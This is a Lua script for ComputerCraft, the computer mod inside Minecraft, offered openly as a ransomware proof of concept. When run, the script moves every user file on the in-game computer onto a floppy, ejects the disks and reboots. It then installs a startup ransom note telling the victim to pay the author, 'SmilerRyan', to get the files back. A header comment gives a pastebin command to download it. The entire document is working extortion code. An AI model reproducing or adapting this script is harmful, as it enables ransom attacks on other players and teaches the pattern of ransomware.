-- SmilerRyan's "Custom Ramsomware" POC:
-- Moves files to disk so they can be recovered later.
-- NOTE: Recovery will OVERWRITE all files on the machine.
-- USAGE: Insert floppy with disk in device(s) to copy from/to.
-- DOWNLOAD (ON EMPTY FLOPPY): pastebin get 8as1ZrD5 /disk/startup

if  term.isColor() then
term.setBackgroundColor(colors.red)
term.setTextColor(colors.black)
end

shell.run("clear")

if fs.isDir("/disk/r") then
print("Decrypting...")
else
print("Encrypting...")
end

if fs.isDir("/disk/r") then

fs.delete("/startup")
shell.run("rm /disk/startup")
local ignore={["disk"]=true,["rom"]=true}
for _, filename in ipairs(fs.list("/disk/r")) do
  if not ignore[filename] then
            fs.move("/disk/r/"..filename, "/"..filename)
  end
end

fs.delete("/disk/r")
local floppy_name = "Backup Disk: empty"
disk.setLabel("top", floppy_name)
disk.setLabel("bottom", floppy_name)
disk.setLabel("left", floppy_name)
disk.setLabel("right", floppy_name)
disk.setLabel("front", floppy_name)
disk.setLabel("back", floppy_name)

else

fs.makeDir("/disk/r");
local ignore={["disk"]=true,["rom"]=true}
for _, filename in ipairs(fs.list("")) do
  if not ignore[filename] then
            fs.move(filename, "/disk/r/"..filename)
  end
end

local floppy_name = "Backup Disk: full"
disk.setLabel("top", floppy_name)
disk.setLabel("bottom", floppy_name)
disk.setLabel("left", floppy_name)
disk.setLabel("right", floppy_name)
disk.setLabel("front", floppy_name)
disk.setLabel("back", floppy_name)

file = fs.open("/startup", "w")
file.writeLine('if  term.isColor() then')
file.writeLine('term.setBackgroundColor(colors.red)')
file.writeLine('term.setTextColor(colors.black)')
file.writeLine('end')
file.writeLine('term.clear()')
file.writeLine('print("Note:")')
file.writeLine('print("Your files on this computer have been removed!")')
file.writeLine('print("The files can recovered if you follow the steps.")')
file.writeLine('print("")')
file.writeLine('print("Failure to follow these steps results in")')
file.writeLine('print("losing these files. If you can\'t pay, remove this message:")')
file.writeLine('print("")')
file.writeLine('print("rm /startup")')
file.writeLine('print("reboot")')
file.writeLine('print("")')
file.writeLine('print("Recovery Instructions:")')
file.writeLine('print("Send a message to SmilerRyan, pay the amount asked and wait for your disk (insert disk and reboot).")')
file.writeLine('print("")')
file.writeLine('print("Press any key to continue...")')
file.writeLine('os.pullEvent("key")');
file.writeLine('if  term.isColor() then');
file.writeLine('term.setBackgroundColor(colors.black)');
file.writeLine('term.setTextColor(colors.yellow)');
file.writeLine('end');
file.writeLine('shell.run("clear")');
file.writeLine('print(os.version())');
file.close()

end

sleep(0)
disk.eject("top")
disk.eject("bottom")
disk.eject("left")
disk.eject("right")
disk.eject("back")
disk.eject("front")
os.reboot()